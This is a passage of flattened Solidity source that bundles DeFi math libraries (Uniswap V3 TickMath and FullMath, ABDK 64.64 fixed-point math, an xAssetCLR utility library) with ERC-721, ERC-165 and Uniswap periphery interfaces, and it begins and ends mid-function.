0xfffcb933bd6fad37aa2d162d1a594001 : 0x100000000000000000000000000000000; if (absTick & 0x2 != 0) ratio = (ratio * 0xfff97272373d413259a46990580e213a) >> 128; if (absTick & 0x4 != 0) ratio = (ratio * 0xfff2e50f5f656932ef12357cf3c7fdcc) >> 128; if (absTick & 0x8 != 0) ratio = (ratio * 0xffe5caca7e10e4e61c3624eaa0941cd0) >> 128; if (absTick & 0x10 != 0) ratio = (ratio * 0xffcb9843d60f6159c9db58835c926644) >> 128; if (absTick & 0x20 != 0) ratio = (ratio * 0xff973b41fa98c081472e6896dfb254c0) >> 128; if (absTick & 0x40 != 0) ratio = (ratio * 0xff2ea16466c96a3843ec78b326b52861) >> 128; if (absTick & 0x80 != 0) ratio = (ratio * 0xfe5dee046a99a2a811c461f1969c3053) >> 128; if (absTick & 0x100 != 0) ratio = (ratio * 0xfcbe86c7900a88aedcffc83b479aa3a4) >> 128; if (absTick & 0x200 != 0) ratio = (ratio * 0xf987a7253ac413176f2b074cf7815e54) >> 128; if (absTick & 0x400 != 0) ratio = (ratio * 0xf3392b0822b70005940c7a398e4b70f3) >> 128; if (absTick & 0x800 != 0) ratio = (ratio * 0xe7159475a2c29b7443b29c7fa6e889d9) >> 128; if (absTick & 0x1000 != 0) ratio = (ratio * 0xd097f3bdfd2022b8845ad8f792aa5825) >> 128; if (absTick & 0x2000 != 0) ratio = (ratio * 0xa9f746462d870fdf8a65dc1f90e061e5) >> 128; if (absTick & 0x4000 != 0) ratio = (ratio * 0x70d869a156d2a1b890bb3df62baf32f7) >> 128; if (absTick & 0x8000 != 0) ratio = (ratio * 0x31be135f97d08fd981231505542fcfa6) >> 128; if (absTick & 0x10000 != 0) ratio = (ratio * 0x9aa508b5b7a84e1c677de54f3e99bc9) >> 128; if (absTick & 0x20000 != 0) ratio = (ratio * 0x5d6af8dedb81196699c329225ee604) >> 128; if (absTick & 0x40000 != 0) ratio = (ratio * 0x2216e584f5fa1ea926041bedfe98) >> 128; if (absTick & 0x80000 != 0) ratio = (ratio * 0x48a170391f7dc42444e8fa2) >> 128; if (tick > 0) ratio = type(uint256).max / ratio; // this divides by 1<<32 rounding up to go from a Q128.128 to a Q128.96. // we then downcast because we know the result always fits within 160 bits due to our tick input constraint // we round up in the division so getTickAtSqrtRatio of the output price is always consistent sqrtPriceX96 = uint160((ratio >> 32) + (ratio % (1 << 32) == 0 ? 0 : 1)); } /// @notice Calculates the greatest tick value such that getRatioAtTick(tick) <= ratio /// @dev Throws in case sqrtPriceX96 < MIN_SQRT_RATIO, as MIN_SQRT_RATIO is the lowest value getRatioAtTick may /// ever return. /// @param sqrtPriceX96 The sqrt ratio for which to compute the tick as a Q64.96 /// @return tick The greatest tick for which the ratio is less than or equal to the input ratio function getTickAtSqrtRatio(uint160 sqrtPriceX96) internal pure returns (int24 tick) { // second inequality must be < because the price can never reach the price at the max tick require(sqrtPriceX96 >= MIN_SQRT_RATIO && sqrtPriceX96 < MAX_SQRT_RATIO, 'R'); uint256 ratio = uint256(sqrtPriceX96) << 32; uint256 r = ratio; uint256 msb = 0; assembly { let f := shl(7, gt(r, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(6, gt(r, 0xFFFFFFFFFFFFFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(5, gt(r, 0xFFFFFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(4, gt(r, 0xFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(3, gt(r, 0xFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(2, gt(r, 0xF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(1, gt(r, 0x3)) msb := or(msb, f) r := shr(f, r) } assembly { let f := gt(r, 0x1) msb := or(msb, f) } if (msb >= 128) r = ratio >> (msb - 127); else r = ratio << (127 - msb); int256 log_2 = (int256(msb) - 128) << 64; assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(63, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(62, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(61, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(60, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(59, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(58, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(57, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(56, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(55, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(54, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(53, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(52, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(51, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(50, f)) } int256 log_sqrt10001 = log_2 * 255738958999603826347141; // 128.128 number int24 tickLow = int24((log_sqrt10001 - 3402992956809132418596140100660247210) >> 128); int24 tickHi = int24((log_sqrt10001 + 291339464771989622907027621153398088495) >> 128); tick = tickLow == tickHi ? tickLow : getSqrtRatioAtTick(tickHi) <= sqrtPriceX96 ? tickHi : tickLow; } } // SPDX-License-Identifier: BSD-4-Clause /* * ABDK Math 64.64 Smart Contract Library. Copyright © 2019 by ABDK Consulting. * Author: Mikhail Vladimirov <[email protected]> */ pragma solidity 0.7.6; /** * Smart contract library of mathematical functions operating with signed * 64.64-bit fixed point numbers. Signed 64.64-bit fixed point number is * basically a simple fraction whose numerator is signed 128-bit integer and * denominator is 2^64. As long as denominator is always the same, there is no * need to store it, thus in Solidity signed 64.64-bit fixed point numbers are * represented by int128 type holding only the numerator. */ library ABDKMath64x64 { /* * Minimum value signed 64.64-bit fixed point number may have. */ int128 private constant MIN_64x64 = -0x80000000000000000000000000000000; /* * Maximum value signed 64.64-bit fixed point number may have. */ int128 private constant MAX_64x64 = 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF; /** * Convert signed 256-bit integer number into signed 64.64-bit fixed point * number. Revert on overflow. * * @param x signed 256-bit integer number * @return signed 64.64-bit fixed point number */ function fromInt(int256 x) internal pure returns (int128) { require(x >= -0x8000000000000000 && x <= 0x7FFFFFFFFFFFFFFF); return int128(x << 64); } /** * Convert signed 64.64 fixed point number into signed 64-bit integer number * rounding down. * * @param x signed 64.64-bit fixed point number * @return signed 64-bit integer number */ function toInt(int128 x) internal pure returns (int64) { return int64(x >> 64); } /** * Convert unsigned 256-bit integer number into signed 64.64-bit fixed point * number. Revert on overflow. * * @param x unsigned 256-bit integer number * @return signed 64.64-bit fixed point number */ function fromUInt(uint256 x) internal pure returns (int128) { require(x <= 0x7FFFFFFFFFFFFFFF); return int128(x << 64); } /** * Convert signed 64.64 fixed point number into unsigned 64-bit integer * number rounding down. Revert on underflow. * * @param x signed 64.64-bit fixed point number * @return unsigned 64-bit integer number */ function toUInt(int128 x) internal pure returns (uint64) { require(x >= 0); return uint64(x >> 64); } /** * Calculate x + y. Revert on overflow. * * @param x signed 64.64-bit fixed point number * @param y signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function add(int128 x, int128 y) internal pure returns (int128) { int256 result = int256(x) + y; require(result >= MIN_64x64 && result <= MAX_64x64); return int128(result); } /** * Calculate x - y. Revert on overflow. * * @param x signed 64.64-bit fixed point number * @param y signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function sub(int128 x, int128 y) internal pure returns (int128) { int256 result = int256(x) - y; require(result >= MIN_64x64 && result <= MAX_64x64); return int128(result); } /** * Calculate x * y rounding down. Revert on overflow. * * @param x signed 64.64-bit fixed point number * @param y signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function mul(int128 x, int128 y) internal pure returns (int128) { int256 result = (int256(x) * y) >> 64; require(result >= MIN_64x64 && result <= MAX_64x64); return int128(result); } /** * Calculate x * y rounding down, where x is signed 64.64 fixed point number * and y is unsigned 256-bit integer number. Revert on overflow. * * @param x signed 64.64 fixed point number * @param y unsigned 256-bit integer number * @return unsigned 256-bit integer number */ function mulu(int128 x, uint256 y) internal pure returns (uint256) { if (y == 0) return 0; require(x >= 0); uint256 lo = (uint256(x) * (y & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)) >> 64; uint256 hi = uint256(x) * (y >> 128); require(hi <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF); hi <<= 64; require( hi <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF - lo ); return hi + lo; } /** * Calculate x / y rounding towards zero, where x and y are unsigned 256-bit * integer numbers. Revert on overflow or when y is zero. * * @param x unsigned 256-bit integer number * @param y unsigned 256-bit integer number * @return signed 64.64-bit fixed point number */ function divu(uint256 x, uint256 y) internal pure returns (int128) { require(y != 0); uint128 result = divuu(x, y); require(result <= uint128(MAX_64x64)); return int128(result); } /** * Calculate 1 / x rounding towards zero. Revert on overflow or when x is * zero. * * @param x signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function inv(int128 x) internal pure returns (int128) { require(x != 0); int256 result = int256(0x100000000000000000000000000000000) / x; require(result >= MIN_64x64 && result <= MAX_64x64); return int128(result); } /** * Calculate x^y assuming 0^0 is 1, where x is signed 64.64 fixed point number * and y is unsigned 256-bit integer number. Revert on overflow. * * @param x signed 64.64-bit fixed point number * @param y uint256 value * @return signed 64.64-bit fixed point number */ function pow(int128 x, uint256 y) internal pure returns (int128) { uint256 absoluteResult; bool negativeResult = false; if (x >= 0) { absoluteResult = powu(uint256(x) << 63, y); } else { // We rely on overflow behavior here absoluteResult = powu(uint256(uint128(-x)) << 63, y); negativeResult = y & 1 > 0; } absoluteResult >>= 63; if (negativeResult) { require(absoluteResult <= 0x80000000000000000000000000000000); return -int128(absoluteResult); // We rely on overflow behavior here } else { require(absoluteResult <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF); return int128(absoluteResult); // We rely on overflow behavior here } } /** * Calculate x / y rounding towards zero, where x and y are unsigned 256-bit * integer numbers. Revert on overflow or when y is zero. * * @param x unsigned 256-bit integer number * @param y unsigned 256-bit integer number * @return unsigned 64.64-bit fixed point number */ function divuu(uint256 x, uint256 y) internal pure returns (uint128) { require(y != 0); uint256 result; if (x <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF) result = (x << 64) / y; else { uint256 msb = 192; uint256 xc = x >> 192; if (xc >= 0x100000000) { xc >>= 32; msb += 32; } if (xc >= 0x10000) { xc >>= 16; msb += 16; } if (xc >= 0x100) { xc >>= 8; msb += 8; } if (xc >= 0x10) { xc >>= 4; msb += 4; } if (xc >= 0x4) { xc >>= 2; msb += 2; } if (xc >= 0x2) msb += 1; // No need to shift xc anymore result = (x << (255 - msb)) / (((y - 1) >> (msb - 191)) + 1); require(result <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF); uint256 hi = result * (y >> 128); uint256 lo = result * (y & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF); uint256 xh = x >> 192; uint256 xl = x << 64; if (xl < lo) xh -= 1; xl -= lo; // We rely on overflow behavior here lo = hi << 128; if (xl < lo) xh -= 1; xl -= lo; // We rely on overflow behavior here assert(xh == hi >> 128); result += xl / y; } require(result <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF); return uint128(result); } /** * Calculate x^y assuming 0^0 is 1, where x is unsigned 129.127 fixed point * number and y is unsigned 256-bit integer number. Revert on overflow. * * @param x unsigned 129.127-bit fixed point number * @param y uint256 value * @return unsigned 129.127-bit fixed point number */ function powu(uint256 x, uint256 y) private pure returns (uint256) { if (y == 0) return 0x80000000000000000000000000000000; else if (x == 0) return 0; else { int256 msb = 0; uint256 xc = x; if (xc >= 0x100000000000000000000000000000000) { xc >>= 128; msb += 128; } if (xc >= 0x10000000000000000) { xc >>= 64; msb += 64; } if (xc >= 0x100000000) { xc >>= 32; msb += 32; } if (xc >= 0x10000) { xc >>= 16; msb += 16; } if (xc >= 0x100) { xc >>= 8; msb += 8; } if (xc >= 0x10) { xc >>= 4; msb += 4; } if (xc >= 0x4) { xc >>= 2; msb += 2; } if (xc >= 0x2) msb += 1; // No need to shift xc anymore int256 xe = msb - 127; if (xe > 0) x >>= uint256(xe); else x <<= uint256(-xe); uint256 result = 0x80000000000000000000000000000000; int256 re = 0; while (y > 0) { if (y & 1 > 0) { result = result * x; y -= 1; re += xe; if ( result >= 0x8000000000000000000000000000000000000000000000000000000000000000 ) { result >>= 128; re += 1; } else result >>= 127; if (re < -127) return 0; // Underflow require(re < 128); // Overflow } else { x = x * x; y >>= 1; xe <<= 1; if ( x >= 0x8000000000000000000000000000000000000000000000000000000000000000 ) { x >>= 128; xe += 1; } else x >>= 127; if (xe < -127) return 0; // Underflow require(xe < 128); // Overflow } } if (re > 0) result <<= uint256(re); else if (re < 0) result >>= uint256(-re); return result; } } /** * Calculate sqrt (x) rounding down, where x is unsigned 256-bit integer * number. * * @param x unsigned 256-bit integer number * @return unsigned 128-bit integer number */ function sqrtu(uint256 x) internal pure returns (uint128) { if (x == 0) return 0; else { uint256 xx = x; uint256 r = 1; if (xx >= 0x100000000000000000000000000000000) { xx >>= 128; r <<= 64; } if (xx >= 0x10000000000000000) { xx >>= 64; r <<= 32; } if (xx >= 0x100000000) { xx >>= 32; r <<= 16; } if (xx >= 0x10000) { xx >>= 16; r <<= 8; } if (xx >= 0x100) { xx >>= 8; r <<= 4; } if (xx >= 0x10) { xx >>= 4; r <<= 2; } if (xx >= 0x8) { r <<= 1; } r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; // Seven iterations should be enough uint256 r1 = x / r; return uint128(r < r1 ? r : r1); } } } // SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.7.6; import "@openzeppelin/contracts/math/SafeMath.sol"; import "./ABDKMath64x64.sol"; /** * Library with utility functions for xAssetCLR */ library Utils { using SafeMath for uint256; struct AmountsMinted { uint256 amount0ToMint; uint256 amount1ToMint; uint256 amount0Minted; uint256 amount1Minted; } /** Get asset 1 twap price for the period of [now - secondsAgo, now] */ function getTWAP(int56[] memory prices, uint32 secondsAgo) internal pure returns (int128) { // Formula is // 1.0001 ^ (currentPrice - pastPrice) / secondsAgo if (secondsAgo == 0) { return ABDKMath64x64.fromInt(1); } int256 diff = int256(prices[1]) - int256(prices[0]); uint256 priceDiff = diff < 0 ? uint256(-diff) : uint256(diff); int128 fraction = ABDKMath64x64.divu(priceDiff, uint256(secondsAgo)); int128 twap = ABDKMath64x64.pow( ABDKMath64x64.divu(10001, 10000), uint256(ABDKMath64x64.toUInt(fraction)) ); // This is necessary because we cannot call .pow on unsigned integers // And thus when asset0Price > asset1Price we need to reverse the value twap = diff < 0 ? ABDKMath64x64.inv(twap) : twap; return twap; } /** * Helper function to calculate how much to swap when * staking or withdrawing from Uni V3 Pools * Goal of this function is to calibrate the staking tokens amounts * When we want to stake, for example, 100 token0 and 10 token1 * But pool price demands 100 token0 and 40 token1 * We cannot directly stake 100 t0 and 10 t1, so we swap enough * to be able to stake the value of 100 t0 and 10 t1 */ function calculateSwapAmount( AmountsMinted memory amountsMinted, int128 liquidityRatio, int128 asset0Price ) internal pure returns (uint256 swapAmount) { // formula is more complicated than xU3LP case // it includes the asset prices, and considers the swap impact on the pool // base formula is this: // n - swap amt, x - amount 0 to mint, y - amount 1 to mint, // z - amount 0 minted, t - amount 1 minted, p0 - asset 0 price // l - liquidity ratio (current mint liquidity vs total pool liq) // (X - n) / (Y + n * p0) = (Z + l * n) / (T - l * n * p0) -> // n = (X * T - Y * Z) / (p0 * l * X + p0 * Z + l * Y + T) uint256 mul1 = amountsMinted.amount0ToMint.mul(amountsMinted.amount1Minted); uint256 mul2 = amountsMinted.amount1ToMint.mul(amountsMinted.amount0Minted); uint256 sub = subAbs(mul1, mul2); uint256 add1 = ABDKMath64x64.mulu(liquidityRatio, amountsMinted.amount1ToMint); uint256 add2 = ABDKMath64x64.mulu( asset0Price, ABDKMath64x64.mulu(liquidityRatio, amountsMinted.amount0ToMint) ); uint256 add3 = ABDKMath64x64.mulu(asset0Price, amountsMinted.amount0Minted); uint256 add = add1.add(add2).add(add3).add(amountsMinted.amount1Minted); // Some numbers are too big to fit in ABDK's div 128-bit representation // So calculate the root of the equation and then raise to the 2nd power int128 nRatio = ABDKMath64x64.divu( ABDKMath64x64.sqrtu(sub), ABDKMath64x64.sqrtu(add) ); int64 n = ABDKMath64x64.toInt(nRatio); swapAmount = uint256(n)**2; } /** * @dev Returns amount in terms of asset 0 * @dev amount * asset 1 price */ function getAmountInAsset0Terms(uint256 amount, int128 asset1Price) public pure returns (uint256) { return ABDKMath64x64.mulu(asset1Price, amount); } /** * @dev Returns amount in terms of asset 1 * @dev amount * asset 0 price */ function getAmountInAsset1Terms(uint256 amount, int128 asset0Price) public pure returns (uint256) { return ABDKMath64x64.mulu(asset0Price, amount); } // comparator for 32-bit timestamps // @return bool Whether a <= b function lte( uint32 time, uint32 a, uint32 b ) internal pure returns (bool) { if (a <= time && b <= time) return a <= b; uint256 aAdjusted = a > time ? a : a + 2**32; uint256 bAdjusted = b > time ? b : b + 2**32; return aAdjusted <= bAdjusted; } // Subtract two numbers and return absolute value function subAbs(uint256 amount0, uint256 amount1) internal pure returns (uint256) { return amount0 >= amount1 ? amount0.sub(amount1) : amount1.sub(amount0); } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "./IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "./IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.7.5; pragma abicoder v2; /// @title Creates and initializes V3 Pools /// @notice Provides a method for creating and initializing a pool, if necessary, for bundling with other methods that /// require the pool to exist. interface IPoolInitializer { /// @notice Creates a new pool if it does not exist, then initializes if not initialized /// @dev This method can be bundled with others via IMulticall for the first action (e.g. mint) performed against a pool /// @param token0 The contract address of token0 of the pool /// @param token1 The contract address of token1 of the pool /// @param fee The fee amount of the v3 pool for the specified token pair /// @param sqrtPriceX96 The initial square root price of the pool as a Q64.96 value /// @return pool Returns the pool address based on the pair of tokens and fee, will return the newly created pool address if necessary function createAndInitializePoolIfNecessary( address token0, address token1, uint24 fee, uint160 sqrtPriceX96 ) external payable returns (address pool); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.7.5; import '@openzeppelin/contracts/token/ERC721/IERC721.sol'; /// @title ERC721 with permit /// @notice Extension to ERC721 that includes a permit function for signature based approvals interface IERC721Permit is IERC721 { /// @notice The permit typehash used in the permit signature /// @return The typehash for the permit function PERMIT_TYPEHASH() external pure returns (bytes32); /// @notice The domain separator used in the permit signature /// @return The domain seperator used in encoding of permit signature function DOMAIN_SEPARATOR() external view returns (bytes32); /// @notice Approve of a specific token ID for spending by spender via signature /// @param spender The account that is being approved /// @param tokenId The ID of the token that is being approved for spending /// @param deadline The deadline timestamp by which the call must be mined for the approve to work /// @param v Must produce valid secp256k1 signature from the holder along with `r` and `s` /// @param r Must produce valid secp256k1 signature from the holder along with `v` and `s` /// @param s Must produce valid secp256k1 signature from the holder along with `r` and `v` function permit( address spender, uint256 tokenId, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external payable; } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Immutable state /// @notice Functions that return immutable state of the router interface IPeripheryImmutableState { /// @return Returns the address of the Uniswap V3 factory function factory() external view returns (address); /// @return Returns the address of WETH9 function WETH9() external view returns (address); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Provides functions for deriving a pool address from the factory, tokens, and the fee library PoolAddress { bytes32 internal constant POOL_INIT_CODE_HASH = 0xc02f72e8ae5e68802e6d893d58ddfb0df89a2f4c9c2f04927db1186a29373660; /// @notice The identifying key of the pool struct PoolKey { address token0; address token1; uint24 fee; } /// @notice Returns PoolKey: the ordered tokens with the matched fee levels /// @param tokenA The first token of a pool, unsorted /// @param tokenB The second token of a pool, unsorted /// @param fee The fee level of the pool /// @return Poolkey The pool details with ordered token0 and token1 assignments function getPoolKey( address tokenA, address tokenB, uint24 fee ) internal pure returns (PoolKey memory) { if (tokenA > tokenB) (tokenA, tokenB) = (tokenB, tokenA); return PoolKey({token0: tokenA, token1: tokenB, fee: fee}); } /// @notice Deterministically computes the pool address given the factory and PoolKey /// @param factory The Uniswap V3 factory contract address /// @param key The PoolKey /// @return pool The contract address of the V3 pool function computeAddress(address factory, PoolKey memory key) internal pure returns (address pool) { require(key.token0 < key.token1); pool = address( uint256( keccak256( abi.encodePacked( hex'ff', factory, keccak256(abi.encode(key.token0, key.token1, key.fee)), POOL_INIT_CODE_HASH ) ) ) ); } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "../../introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Callback for IUniswapV3PoolActions#swap /// @notice Any contract that calls IUniswapV3PoolActions#swap must implement this interface interface IUniswapV3SwapCallback { /// @notice Called to `msg.sender` after executing a swap via IUniswapV3Pool#swap. /// @dev In the implementation you must pay the pool tokens owed for the swap. /// The caller of this method must be checked to be a UniswapV3Pool deployed by the canonical UniswapV3Factory. /// amount0Delta and amount1Delta can both be 0 if no tokens were swapped. /// @param amount0Delta The amount of token0 that was sent (negative) or must be received (positive) by the pool by /// the end of the swap. If positive, the callback must send that amount of token0 to the pool. /// @param amount1Delta The amount of token1 that was sent (negative) or must be received (positive) by the pool by /// the end of the swap. If positive, the callback must send that amount of token1 to the pool. /// @param data Any data passed through by the caller via the IUniswapV3PoolActions#swap call function uniswapV3SwapCallback( int256 amount0Delta, int256 amount1Delta, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.4.0; /// @title Contains 512-bit math functions /// @notice Facilitates multiplication and division that can have overflow of an intermediate value without any loss of precision /// @dev Handles "phantom overflow" i.e., allows multiplication and division where an intermediate value overflows 256 bits library FullMath { /// @notice Calculates floor(a×b÷denominator) with full precision. Throws if result overflows a uint256 or denominator == 0 /// @param a The multiplicand /// @param b The multiplier /// @param denominator The divisor /// @return result The 256-bit result /// @dev Credit to Remco Bloemen under MIT license https://xn--2-umb.com/21/muldiv function mulDiv( uint256 a, uint256 b, uint256 denominator ) internal pure returns (uint256 result) { // 512-bit multiply [prod1 prod0] = a * b // Compute the product mod 2**256 and mod 2**256 - 1 // then use the Chinese Remainder Theorem to reconstruct // the 512 bit result. The result is stored in two 256 // variables such that product = prod1 * 2**256 + prod0 uint256 prod0; // Least significant 256 bits of the product uint256 prod1; // Most significant 256 bits of the product assembly { let mm := mulmod(a, b, not(0)) prod0 := mul(a, b) prod1 := sub(sub(mm, prod0), lt(mm, prod0)) } // Handle non-overflow cases, 256 by 256 division if (prod1 == 0) { require(denominator > 0); assembly { result := div(prod0, denominator) } return result; } // Make sure the result is less than 2**256. // Also prevents denominator == 0 require(denominator > prod1); /////////////////////////////////////////////// // 512 by 256 division. /////////////////////////////////////////////// // Make division exact by subtracting the remainder from [prod1 prod0] // Compute remainder using mulmod uint256 remainder; assembly { remainder := mulmod(a, b, denominator) } // Subtract 256 bit number from 512 bit number assembly { prod1 := sub(prod1, gt(remainder, prod0)) prod0 := sub(prod0, remainder) } // Factor powers of two out of denominator // Compute largest power of two divisor of denominator. // Always >= 1. uint256 twos = -denominator & denominator; // Divide denominator by power of two assembly { denominator := div(denominator, twos) } // Divide [prod1 prod0] by the factors of two assembly { prod0 := div(prod0, twos) } // Shift in bits from prod1 into prod0. For this we need // to flip `twos` such that it is 2**256 / twos. // If twos is zero, then it becomes one assembly { twos := add(div(sub(0, twos), twos), 1) } prod0 |= prod1 * twos; // Invert denominator mod 2**256 // Now that denominator is an odd number, it has an inverse // modulo 2**256 such that denominator * inv = 1 mod 2**256. // Compute the inverse by starting with a seed that is correct // correct for four bits. That is, denominator * inv = 1 mod 2**4 uint256 inv = (3 * denominator) ^ 2; // Now use Newton-Raphson iteration to improve the precision. // Thanks to Hensel's lifting lemma, this also works in modular // arithmetic, doubling the correct bits in each step. inv *= 2 - denominator * inv; // inverse mod 2**8 inv *= 2 - denominator * inv; // inverse mod 2**16 inv *= 2 - denominator * inv; // inverse mod 2**32 inv *= 2 - denominator * inv; // inverse mod 